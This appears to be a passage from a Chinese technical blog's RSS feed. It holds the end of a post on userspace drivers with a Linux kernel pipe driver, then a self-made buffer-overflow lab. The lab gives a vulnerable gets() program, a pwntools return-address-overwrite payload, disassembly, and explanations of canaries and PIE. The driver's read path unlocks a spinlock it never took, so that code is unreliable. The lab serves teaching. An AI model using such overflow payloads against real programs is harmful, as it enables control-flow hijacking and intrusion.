&lt;li&gt;&lt;strong&gt;轮询模式替代中断(Polling vs. Interrupts)&lt;/strong&gt;: &lt;code&gt;双刃剑&lt;/code&gt;(内核驱动靠网卡中断来通知数据包到达，中断带来的上下文切换开销在高流量下是巨大的。DPDK驱动采用​​主动轮询​​模式，让CPU核心一直检查网卡是否有新数据包，完全消除了中断开销，但是独占硬件资源。)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;零拷贝​​(Zero-Copy)&lt;/strong&gt;: DPDK用户态驱动可以通过 &lt;code&gt;DMA 和 mmap&lt;/code&gt; ，在初始化阶段就将设备的硬件资源（如网卡的收发队列内存）直接映射到应用程序的虚拟地址空间。避免了 &lt;code&gt;copy_from_user() read()/write()&lt;/code&gt; 内核态和用户态之间的数据拷贝。 e.g. UIO (Userspace I/O) VFIO (Virtual Function I/O)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CPU亲和性与缓存优化(CPU Affinity &amp;amp; Cache Locality)&lt;/strong&gt;: 为了避免多核环境下的线程切换和缓存颠簸（cache bouncing），用户态驱动框架可以将特定的处理线程&lt;code&gt;绑定&lt;/code&gt;到特定的CPU核心上，充分利用&lt;code&gt;缓存局部性原理&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;系统安全性和稳定性:
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;故障隔离(Fault Isolation)&lt;/strong&gt;: 内核态设备驱动的 &lt;code&gt;bug&lt;/code&gt; 不会直接导致 kernel panic，驱动程序作为一个普通的进程运行。即使驱动代码崩溃，也只会影响该进程自身，操作系统内核和其他应用程序依然可以稳定运行。（&lt;a href=&quot;https://docs.linuxkernel.org.cn/driver-api/vfio.html&quot;&gt;VFIO&lt;/a&gt;）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;进程隔离&lt;/strong&gt;: 利用现代CPU的内存管理单元(&lt;code&gt;MMU&lt;/code&gt;)为用户态进程提供了独立的地址空间。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;开发灵活性和可控制性​​: 易于开发与调试 + 高度可定制化&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;适用场景：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;高性能网络处理、高性能存储、虚拟化、驱动简单且中断不频繁的定制硬件
缺点：&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;接受失去丰富的内核生态和服务&lt;/strong&gt;​，如内核协议栈。进而可能导致缺乏标准化接口&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;接受独占硬件&lt;/strong&gt;，紧密耦合&lt;/li&gt;
&lt;li&gt;等&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;最后，手写一个pipe设备驱动的C语言代码示例&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// pipe.c
#include &amp;lt;linux/cdev.h&amp;gt;
#include &amp;lt;linux/device.h&amp;gt;
#include &amp;lt;linux/fs.h&amp;gt;
#include &amp;lt;linux/init.h&amp;gt;
#include &amp;lt;linux/kernel.h&amp;gt;
#include &amp;lt;linux/kfifo.h&amp;gt;
#include &amp;lt;linux/module.h&amp;gt;
#include &amp;lt;linux/poll.h&amp;gt;
#include &amp;lt;linux/sched.h&amp;gt;
#include &amp;lt;linux/slab.h&amp;gt;
#include &amp;lt;linux/spinlock.h&amp;gt;
#include &amp;lt;linux/uaccess.h&amp;gt;
#include &amp;lt;linux/version.h&amp;gt;
#include &amp;lt;linux/wait.h&amp;gt;

#define MAX_DEV    2
#define MAX_EVENTS 16          // 最大事件队列长度
#define EVENT_SIZE sizeof(int) // 每个事件的大小（int）

static int dev_major = 0;
static struct class* lx_class = NULL;

static ssize_t lx_read(struct file*, char __user*, size_t, loff_t*);
static ssize_t lx_write(struct file*, const char __user*, size_t, loff_t*);
static unsigned int lx_poll(struct file*, poll_table*);

static struct file_operations fops = {
    .owner = THIS_MODULE,
    .read = lx_read,
    .write = lx_write,
    .poll = lx_poll,
};

// 设备私有数据结构
struct pipe_dev {
    struct cdev cdev;                          // 字符设备
    wait_queue_head_t read_queue;              // 读等待队列
    spinlock_t lock;                           // 保护FIFO的自旋锁
    struct kfifo fifo;                         // 事件队列
    char fifo_buffer[MAX_EVENTS * EVENT_SIZE]; // FIFO存储空间
};

static struct pipe_dev devs[MAX_DEV]; // 设备数组

static int __init lx_init(void) {
    dev_t dev;
    int i, err;
    // 动态分配设备号范围
    err = alloc_chrdev_region(&amp;amp;dev, 0, MAX_DEV, &quot;pipe&quot;);
    if (err &amp;lt; 0) {
        printk(KERN_ERR &quot;Failed to allocate char device region\n&quot;);
        return err;
    }

    // 获取主设备号
    dev_major = MAJOR(dev);
    // 创建设备类
#if LINUX_VERSION_CODE &amp;gt;= KERNEL_VERSION(6, 4, 0)
    lx_class = class_create(&quot;pipe&quot;);
#else
    lx_class = class_create(THIS_MODULE, &quot;pipe&quot;);
#endif
    if (IS_ERR(lx_class)) {
        unregister_chrdev_region(dev, MAX_DEV);
        return PTR_ERR(lx_class);
    }

    // 初始化每个设备
    for (i = 0; i &amp;lt; MAX_DEV; ++i) {
        struct pipe_dev* dev_ptr = &amp;amp;devs[i];
        // 初始化kfifo
        if (kfifo_initialized(&amp;amp;dev_ptr-&amp;gt;fifo)) {
            printk(KERN_WARNING &quot;FIFO already initialized for device %d\n&quot;, i);
        } else {
            kfifo_init(&amp;amp;dev_ptr-&amp;gt;fifo, dev_ptr-&amp;gt;fifo_buffer, sizeof(dev_ptr-&amp;gt;fifo_buffer));
        }
        // 初始化自旋锁
        spin_lock_init(&amp;amp;dev_ptr-&amp;gt;lock);
        // 初始化等待队列
        init_waitqueue_head(&amp;amp;dev_ptr-&amp;gt;read_queue);
        // 初始化字符设备
        cdev_init(&amp;amp;dev_ptr-&amp;gt;cdev, &amp;amp;fops);
        dev_ptr-&amp;gt;cdev.owner = THIS_MODULE;
        // 添加字符设备
        err = cdev_add(&amp;amp;dev_ptr-&amp;gt;cdev, MKDEV(dev_major, i), 1);
        if (err) {
            printk(KERN_ERR &quot;Error %d adding device %d\n&quot;, err, i);
            continue;
        }
        // 创建设备节点 /dev/pipeX
        device_create(lx_class, NULL, MKDEV(dev_major, i), NULL, &quot;pipe%d&quot;, i);
    }
    printk(KERN_INFO &quot;pipe event notifier driver loaded with major %d\n&quot;, dev_major);
    return 0;
}

static void __exit lx_exit(void) {
    int i;
    for (i = 0; i &amp;lt; MAX_DEV; ++i) {
        device_destroy(lx_class, MKDEV(dev_major, i));
        cdev_del(&amp;amp;devs[i].cdev);
    }
    class_destroy(lx_class);
    unregister_chrdev_region(MKDEV(dev_major, 0), MAX_DEV);
    printk(KERN_INFO &quot;pipe event notifier driver unloaded\n&quot;);
}

static unsigned int lx_poll(struct file* file, poll_table* wait) {
    struct pipe_dev* dev = container_of(file-&amp;gt;f_inode-&amp;gt;i_cdev, struct pipe_dev, cdev);
    unsigned int mask = 0;
    // 注册等待队列
    poll_wait(file, &amp;amp;dev-&amp;gt;read_queue, wait);

    spin_lock(&amp;amp;dev-&amp;gt;lock);
    if (!kfifo_is_empty(&amp;amp;dev-&amp;gt;fifo)) {
        mask |= POLLIN | POLLRDNORM; // 返回可读标志
    }
    spin_unlock(&amp;amp;dev-&amp;gt;lock);
    return mask;
}

static ssize_t lx_read(struct file* file, char __user* buf, size_t count, loff_t* offset) {
    struct pipe_dev* dev = container_of(file-&amp;gt;f_inode-&amp;gt;i_cdev, struct pipe_dev, cdev);
    int event;
    DEFINE_WAIT(wait);
    if (count &amp;lt; EVENT_SIZE) {
        return -EINVAL; // 缓冲区太小
    }

    // 等待直到有事件可用
    while (kfifo_is_empty(&amp;amp;dev-&amp;gt;fifo)) {
        if (file-&amp;gt;f_flags &amp;amp; O_NONBLOCK) {
            return -EAGAIN; // 非阻塞模式，立即返回
        }

        prepare_to_wait(&amp;amp;dev-&amp;gt;read_queue, &amp;amp;wait, TASK_INTERRUPTIBLE);
        spin_unlock(&amp;amp;dev-&amp;gt;lock); // 解锁后休眠
        // 检查是否有信号中断
        if (signal_pending(current)) {
            finish_wait(&amp;amp;dev-&amp;gt;read_queue, &amp;amp;wait);
            return -ERESTARTSYS;
        }
        // 让出CPU直到被唤醒
        schedule();
        finish_wait(&amp;amp;dev-&amp;gt;read_queue, &amp;amp;wait);
    }

    spin_lock(&amp;amp;dev-&amp;gt;lock); // 唤醒后重新加锁
    if (kfifo_out(&amp;amp;dev-&amp;gt;fifo, &amp;amp;event, EVENT_SIZE) != EVENT_SIZE) {
        spin_unlock(&amp;amp;dev-&amp;gt;lock);
        return -EIO; // 读取失败
    }
    spin_unlock(&amp;amp;dev-&amp;gt;lock);

    // 将事件复制到用户空间
    if (copy_to_user(buf, &amp;amp;event, EVENT_SIZE)) {
        return -EFAULT;
    }
    return EVENT_SIZE;
}

static ssize_t lx_write(struct file* file, const char __user* buf, size_t count, loff_t* offset) {
    struct pipe_dev* dev = container_of(file-&amp;gt;f_inode-&amp;gt;i_cdev, struct pipe_dev, cdev);
    int event;
    unsigned int pushed;
    if (count &amp;lt; EVENT_SIZE) {
        return -EINVAL; // 数据太小
    }
    // 从用户空间复制事件
    if (copy_from_user(&amp;amp;event, buf, EVENT_SIZE)) {
        return -EFAULT;
    }

    spin_lock(&amp;amp;dev-&amp;gt;lock);
    // 尝试将事件推入队列
    if (kfifo_avail(&amp;amp;dev-&amp;gt;fifo) &amp;lt; EVENT_SIZE) {
        spin_unlock(&amp;amp;dev-&amp;gt;lock);
        return -ENOSPC; // 队列已满
    }
    pushed = kfifo_in(&amp;amp;dev-&amp;gt;fifo, &amp;amp;event, EVENT_SIZE);
    spin_unlock(&amp;amp;dev-&amp;gt;lock);

    if (pushed != EVENT_SIZE) {
        return -EIO; // 写入失败
    }
    // 唤醒等待的读进程
    wake_up_interruptible(&amp;amp;dev-&amp;gt;read_queue);
    return EVENT_SIZE;
}

module_init(lx_init);
module_exit(lx_exit);
MODULE_LICENSE(&quot;GPL&quot;);
MODULE_AUTHOR(&quot;aLinChe&quot;);
MODULE_DESCRIPTION(&quot;Kernel Event Notifier Pipe Driver&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# Makefile
obj-m := pipe.o
KDIR ?= /lib/modules/$(shell uname -r)/build

default:
	$(MAKE) module
module:
	$(MAKE) -C $(KDIR) M=$(PWD) modules
clean:
	$(MAKE) -C $(KDIR) M=$(PWD) clean
.PHONY: module clean
# lsmod 
# insmod pipe.ko 
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>CSAPP-attack-lab</title><link>https://blog.alinche.dpdns.org/posts/gdb/attack/</link><guid isPermaLink="true">https://blog.alinche.dpdns.org/posts/gdb/attack/</guid><description>自制attack-lab</description><pubDate>Fri, 19 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;亲手制作一个经典的缓冲区溢出(Buffer Overflow)攻击案例。这篇博文将为你讲清楚整个攻击的原理，以及几个关键概念：&lt;code&gt;RSP&lt;/code&gt;（栈指针）、&lt;code&gt;gets()&lt;/code&gt; 函数的危险性、金丝雀(&lt;code&gt;Canary&lt;/code&gt;)、PIE (&lt;code&gt;Position-Independent Executable&lt;/code&gt;) 和 W^X (&lt;code&gt;Write XOR Execute&lt;/code&gt;)。&lt;/p&gt;
&lt;h2&gt;1. gets() —— unsafe function&lt;/h2&gt;
&lt;p&gt;核心是通过一个名为 &lt;code&gt;gets()&lt;/code&gt; 的非安全函数，向一个固定大小的缓冲区 &lt;code&gt;buf[16]&lt;/code&gt; 写入超量数据。这些超量的数据会 &quot;溢出&quot; 缓冲区的边界，覆盖掉栈上更重要的数据，特别是&lt;strong&gt;函数的返回地址&lt;/strong&gt;。通过精心构造溢出的数据，我们可以将返回地址修改为我们想要执行的任何代码的地址（在这个例子中是 &lt;code&gt;func()&lt;/code&gt; 函数），从而劫持程序的控制流。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;gcc -g -fno-stack-protector -no-pie main.c&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;

void func() { printf(&quot;akakak\n&quot;); }

void getstr() {
    char buf[16];
    gets(buf); // 如果你的VSCode给了你一个Warning是正常的，因为这就是不该使用的不安全函数（
}

int main() {
    getstr();
    printf(&quot;I am fine.\n&quot;);
    exit(0);
    return 0;
}
// gcc -g -fno-stack-protector -no-pie main.c
// python3 att1.py &amp;amp;&amp;amp; ./a.out &amp;lt; hex
// objdump -d ./a.out &amp;gt; a.md
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;python3 att1.py &amp;amp;&amp;amp; ./a.out &amp;lt; hex&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;# att1.py
from pwn import *

padding = b&apos;A&apos; * 24         # 1. try change into char[10], why padding = 18?

addr_func = 0x401176
addr_exit_gadget = 0x4011d1 # 2. (if `-Og`: change into 0x4011cb, and padding = 18)

payload = padding + p64(addr_func) + p64(addr_exit_gadget)

with open(&apos;hex&apos;, &apos;wb&apos;) as f:
    f.write(payload)
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;objdump -d ./a.out &amp;gt; a.md&lt;/li&gt;
&lt;li&gt;gdb ./a.out (-x init)&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;0000000000401176 &amp;lt;func&amp;gt;:
  401176:	f3 0f 1e fa          	endbr64 
  40117a:	55                   	push   %rbp
  40117b:	48 89 e5             	mov    %rsp,%rbp
  40117e:	48 8d 05 7f 0e 00 00 	lea    0xe7f(%rip),%rax        # 402004 &amp;lt;_IO_stdin_used+0x4&amp;gt;
  401185:	48 89 c7             	mov    %rax,%rdi
  401188:	e8 d3 fe ff ff       	call   401060 &amp;lt;puts@plt&amp;gt;
  40118d:	90                   	nop
  40118e:	5d                   	pop    %rbp
  40118f:	c3                   	ret    

0000000000401190 &amp;lt;getstr&amp;gt;:
  401190:	f3 0f 1e fa          	endbr64 
  401194:	55                   	push   %rbp
  401195:	48 89 e5             	mov    %rsp,%rbp
  401198:	48 83 ec 10          	sub    $0x10,%rsp
  40119c:	48 8d 45 f6          	lea    -0xa(%rbp),%rax
  4011a0:	48 89 c7             	mov    %rax,%rdi
  4011a3:	b8 00 00 00 00       	mov    $0x0,%eax
  4011a8:	e8 c3 fe ff ff       	call   401070 &amp;lt;gets@plt&amp;gt;
  4011ad:	90                   	nop
  4011ae:	c9                   	leave  
  4011af:	c3                   	ret    

00000000004011b0 &amp;lt;main&amp;gt;:
  4011b0:	f3 0f 1e fa          	endbr64 
  4011b4:	55                   	push   %rbp
  4011b5:	48 89 e5             	mov    %rsp,%rbp
  4011b8:	b8 00 00 00 00       	mov    $0x0,%eax
  4011bd:	e8 ce ff ff ff       	call   401190 &amp;lt;getstr&amp;gt;
  4011c2:	48 8d 05 42 0e 00 00 	lea    0xe42(%rip),%rax        # 40200b &amp;lt;_IO_stdin_used+0xb&amp;gt;
  4011c9:	48 89 c7             	mov    %rax,%rdi
  4011cc:	e8 8f fe ff ff       	call   401060 &amp;lt;puts@plt&amp;gt;
  4011d1:	bf 00 00 00 00       	mov    $0x0,%edi
  4011d6:	e8 a5 fe ff ff       	call   401080 &amp;lt;exit@plt&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h3&gt;栈、RSP 和函数调用过程&lt;/h3&gt;
&lt;p&gt;要理解这个攻击，首先必须理解程序在调用函数时，内存中的**栈（Stack）**是如何工作的。
栈是一个后进先出(LIFO)的数据结构，主要用于存储函数的局部变量及、参数以函数调用相关的信息。其中，有两个非常重要的寄存器：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;RSP (Stack Pointer)&lt;/strong&gt;：栈指针寄存器。它始终指向栈的顶部。当数据被压入(push)栈时，RSP的地址减小；当数据被弹出(pop)栈时，RSP的地址增大（在 x86-64 架构中，栈是从高地址向低地址增长的）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;RBP (Base Pointer)&lt;/strong&gt;：基址指针寄存器。它指向当前函数栈帧(Stack Frame)的底部，作为一个固定的“锚点”，方便函数访问自己的局部变量和参数。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;一个正常的函数调用流程 (&lt;code&gt;main&lt;/code&gt; 调用 &lt;code&gt;getstr&lt;/code&gt;) 如下：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;保存返回地址&lt;/strong&gt;：当 &lt;code&gt;main&lt;/code&gt; 函数执行 &lt;code&gt;call getstr&lt;/code&gt; 指令时，CPU 会自动将 &lt;code&gt;call&lt;/code&gt; 指令的下一条指令的地址（即 &lt;code&gt;0x4011c2&lt;/code&gt;，也就是 &lt;code&gt;printf(&quot;I am fine.\n&quot;)&lt;/code&gt; 的起始位置）压入栈中。这个地址就是 &lt;code&gt;getstr&lt;/code&gt; 函数执行完毕后应该返回的地方。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;保存旧的 RBP&lt;/strong&gt;：&lt;code&gt;getstr&lt;/code&gt; 函数开始执行，首先会执行 &lt;code&gt;push %rbp&lt;/code&gt;，将 &lt;code&gt;main&lt;/code&gt; 函数的 RBP 保存到栈上，以便函数返回时可以恢复。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;建立新栈帧&lt;/strong&gt;：执行 &lt;code&gt;mov %rsp, %rbp&lt;/code&gt;，将当前的 RSP 赋值给 RBP，为 &lt;code&gt;getstr&lt;/code&gt; 建立一个新的栈帧基址。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;为局部变量分配空间&lt;/strong&gt;：执行 &lt;code&gt;sub $0x10, %rsp&lt;/code&gt;，将 RSP 向下移动 16 个字节（&lt;code&gt;0x10&lt;/code&gt;），为局部变量 &lt;code&gt;char buf[16]&lt;/code&gt; 分配空间。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;此时，&lt;code&gt;getstr&lt;/code&gt; 函数的栈帧布局如下（地址由高到低）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    | ...                     |
    +-------------------------+
    | 返回地址 (8字节)         | &amp;lt;-- getstr() 结束后要跳回的地方 (0x4011c2)
    +-------------------------+
    | 保存 main 的 RBP (8字节) | &amp;lt;-- RBP 指向这里
    +-------------------------+
    |                         |
    | char buf[16] (16字节)   | &amp;lt;-- gets() 的目标缓冲区
    |                         |
    +-------------------------+ &amp;lt;-- RSP 指向这里
    | ...                     |
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h3&gt;gets() 的危险性：为什么可以修改返回地址？&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;gets()&lt;/code&gt; 函数的致命缺陷在于：&lt;strong&gt;它不检查目标缓冲区的大小&lt;/strong&gt;。它会一直从输入流读取数据，直到遇到换行符或文件结束符为止，然后将所有读到的内容（除了换行符）存入我们给它的缓冲区。
在这个例子中，&lt;code&gt;buf&lt;/code&gt; 只有 16 字节。如果我们输入超过 16 字节的数据会发生什么？&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;前 16 个字节会正确地填充 &lt;code&gt;buf&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;从第 17 个字节开始，就会覆盖掉紧邻 &lt;code&gt;buf&lt;/code&gt; 的高地址内存，也就是我们上面栈帧图中的 &quot;保存 main 的 RBP&quot;。&lt;/li&gt;
&lt;li&gt;如果继续输入，就会覆盖掉 &quot;返回地址&quot;。&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;这就是攻击的关键所在！&lt;/strong&gt;
在 &lt;code&gt;att1.py&lt;/code&gt; 脚本中，我们构造了一个 &lt;code&gt;payload&lt;/code&gt;：&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;padding = b&apos;A&apos; * 24
addr_func = 0x401176
addr_exit_gadget = 0x4011d1
payload = padding + p64(addr_func) + p64(addr_exit_gadget)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;为什么填充（padding）应该是 24 字节？&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;buf&lt;/code&gt; 本身的大小是 16 字节。&lt;/li&gt;
&lt;li&gt;紧接着 &lt;code&gt;buf&lt;/code&gt; 的是保存的 RBP，在 64 位系统上，一个地址是 8 字节。&lt;/li&gt;
&lt;li&gt;所以，我们需要 &lt;code&gt;16 + 8 = 24&lt;/code&gt; 个字节的垃圾数据（比如 &lt;code&gt;&apos;A&apos;&lt;/code&gt;）来填满 &lt;code&gt;buf&lt;/code&gt; 和覆盖掉保存的 RBP。
当这 24 个字节的 &lt;code&gt;&apos;A&apos;&lt;/code&gt; 写入后，我们再写入的数据就会精确地覆盖在&lt;strong&gt;返回地址&lt;/strong&gt;所在的位置。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;攻击流程解析：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;getstr&lt;/code&gt; 函数调用 &lt;code&gt;gets(buf)&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;我们通过重定向输入 &lt;code&gt;&amp;lt; hex&lt;/code&gt; 将 &lt;code&gt;payload&lt;/code&gt; 喂给程序。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;gets&lt;/code&gt; 函数将 &lt;code&gt;payload&lt;/code&gt; 写入 &lt;code&gt;buf&lt;/code&gt;：
&lt;ul&gt;
&lt;li&gt;前 24 个 &apos;A&apos; 覆盖了 &lt;code&gt;buf&lt;/code&gt; 和保存的 &lt;code&gt;RBP&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;接下来的 8 字节 &lt;code&gt;p64(addr_func)&lt;/code&gt; (即 &lt;code&gt;0x401176&lt;/code&gt; 的二进制表示) 覆盖了原有的返回地址。&lt;/li&gt;
&lt;li&gt;再接下来的 8 字节 &lt;code&gt;p64(addr_exit_gadget)&lt;/code&gt; 放在了栈上更高处。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;getstr&lt;/code&gt; 函数执行完毕，最后执行 &lt;code&gt;ret&lt;/code&gt; 指令。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ret&lt;/code&gt; 指令的作用是从栈顶弹出一个地址，并跳转到该地址执行。此时栈顶的值不再是正常的 &lt;code&gt;0x4011c2&lt;/code&gt;，而是被我们修改过的 &lt;code&gt;0x401176&lt;/code&gt;（&lt;code&gt;func&lt;/code&gt; 函数的地址）。&lt;/li&gt;
&lt;li&gt;CPU 跳转到 &lt;code&gt;0x401176&lt;/code&gt; 开始执行，也就是 &lt;code&gt;func()&lt;/code&gt; 函数。屏幕上打印出 &quot;akakak&quot;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;func&lt;/code&gt; 函数执行完毕后，它也有一个 &lt;code&gt;ret&lt;/code&gt; 指令。此时 RSP 指向了我们 payload 中的下一个地址 &lt;code&gt;addr_exit_gadget&lt;/code&gt; (&lt;code&gt;0x4011d1&lt;/code&gt;)。于是程序跳转到 &lt;code&gt;main&lt;/code&gt; 函数中调用 &lt;code&gt;exit&lt;/code&gt; 的地方，实现平稳退出，而不是因为栈被破坏而崩溃。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;总结：&lt;/strong&gt; &lt;code&gt;gets()&lt;/code&gt; 之所以能修改返回地址，是因为它不对输入长度做检查，导致数据可以溢出缓冲区，像洪水一样淹没并改写栈上更高地址处的关键数据，如返回地址。我们利用 &lt;code&gt;ret&lt;/code&gt; 指令无条件信任栈顶地址的特性，实现了控制流的劫持。&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;防御机制：金丝雀（Stack Canary）的作用 (why must &lt;code&gt;-fno-stack-protector&lt;/code&gt;)&lt;/h3&gt;
&lt;p&gt;为了对抗这种基于栈的缓冲区溢出攻击，编译器引入了一种保护机制，叫做“栈保护者”或“金丝雀（Canary）”。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;工作原理：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;放置金丝雀&lt;/strong&gt;：在函数开始时（分配局部变量后，程序真正执行前），在栈上、&lt;strong&gt;返回地址的前面&lt;/strong&gt;，放置一个特殊的、随机生成的值。这个值就是“金丝雀”。&lt;pre&gt;&lt;code&gt;    +---------------------+
    | 返回地址 (8字节)      |
    +---------------------+
    | 金丝雀 (8字节)        | &amp;lt;-- 一个随机值
    +---------------------+
    | 保存的 RBP (8字节)    |
    +---------------------+
    | char buf[16] (16字节) |
    +---------------------+
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;检查金丝雀&lt;/strong&gt;：在函数即将返回（执行 &lt;code&gt;ret&lt;/code&gt; 指令）之前，程序会检查这个金丝雀的值是否被改变。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;触发警报&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;如果金丝雀的值没有变，说明栈没有被溢出数据破坏，函数可以安全返回。&lt;/li&gt;
&lt;li&gt;如果金丝雀的值被改变了，说明发生了缓冲区溢出，攻击者在尝试覆盖返回地址时，必然会先覆盖掉金丝雀。程序会检测到这一情况，并立即终止运行（通常是调用 &lt;code&gt;__stack_chk_fail&lt;/code&gt;），而不是执行被篡改的返回地址。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;这个名字来源于“煤矿里的金丝雀”，矿工会带金丝雀下井，因为金丝雀对有毒气体非常敏感，会先于矿工死亡，从而起到预警作用。在这里，金丝雀值的改变就是程序受到攻击的“警报”。&lt;/p&gt;
&lt;p&gt;在我们编译时使用了 &lt;code&gt;-fno-stack-protector&lt;/code&gt; 标志，这就是明确地告诉 GCC 编译器：“不要开启金丝雀保护”。正因为如此，攻击才能成功。如果去掉这个标志，默认情况下 GCC 会开启金丝雀保护，我们的 payload 在覆盖返回地址前会先破坏金丝雀，导致程序在 &lt;code&gt;getstr&lt;/code&gt; 函数返回前就直接崩溃退出。&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;防御机制：PIE (Position-Independent Executable) 的作用 (why must &lt;code&gt;-no-pie&lt;/code&gt;)&lt;/h3&gt;
&lt;p&gt;PIE（位置无关可执行文件）是另一种非常重要的安全机制，它与 ASLR（地址空间布局随机化）协同工作。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;工作原理：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;无 PIE 的情况&lt;/strong&gt;：我们使用了 &lt;code&gt;-no-pie&lt;/code&gt; 标志，这意味着程序每次加载到内存时，其代码段（&lt;code&gt;.text&lt;/code&gt; section）的基地址都是固定的。因此，&lt;code&gt;func&lt;/code&gt; 函数的地址永远是 &lt;code&gt;0x401176&lt;/code&gt;，&lt;code&gt;main&lt;/code&gt; 函数的地址永远是 &lt;code&gt;0x4011b0&lt;/code&gt;。这让攻击者可以非常容易地确定要跳转的目标地址。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;有 PIE 的情况&lt;/strong&gt;：如果开启了 PIE 编译（现在大多数系统的默认设置），生成的可执行文件就是“位置无关”的。当操作系统加载这个程序时，它会为程序的代码段、数据段等随机选择一个基地址。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;PIE 如何挫败攻击？&lt;/strong&gt;
如果开启了 PIE，&lt;code&gt;func&lt;/code&gt; 函数的地址在程序每次运行时都会改变。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;第一次运行，它可能在 &lt;code&gt;0x55abcdef1176&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;第二次运行，它可能在 &lt;code&gt;0x56fedcba1176&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;虽然函数相对于程序基地址的偏移量 (&lt;code&gt;0x1176&lt;/code&gt;) 是固定的，但整个程序的基地址是随机的。这就导致我们在 &lt;code&gt;att1.py&lt;/code&gt; 中硬编码的地址 &lt;code&gt;addr_func = 0x401176&lt;/code&gt; 几乎肯定是错的。payload 会让程序跳转到一个无效或非预期的地址，导致程序崩溃，攻击失败。&lt;/p&gt;
&lt;p&gt;要绕过 PIE+ASLR，攻击者需要先通过其他漏洞（如信息泄露漏洞）来泄漏程序加载到内存后的某个地址，然后根据这个地址计算出 &lt;code&gt;func&lt;/code&gt; 函数的实际地址，这大大增加了攻击的难度。&lt;/p&gt;
&lt;p&gt;我们这里使用的 &lt;code&gt;-no-pie&lt;/code&gt; 标志禁用了这个保护，使得 &lt;code&gt;func&lt;/code&gt; 的地址固定不变，制作一个简易的Lab :)&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;2. execstack —— W^X&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;我们之前的有 &lt;code&gt;4011d6:	e8 a5 fe ff ff       	call   401080 &amp;lt;exit@plt&amp;gt;&lt;/code&gt; 这一个很好的 &lt;code&gt;exit_gadget&lt;/code&gt; 函数，可以让我们在破坏栈帧结构后也能优雅的退出。加大难度，如果是一个普通退出的 C 程序呢，&lt;/li&gt;
&lt;li&gt;gcc -g -z execstack -fno-stack-protector -Og -no-pie main.c&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
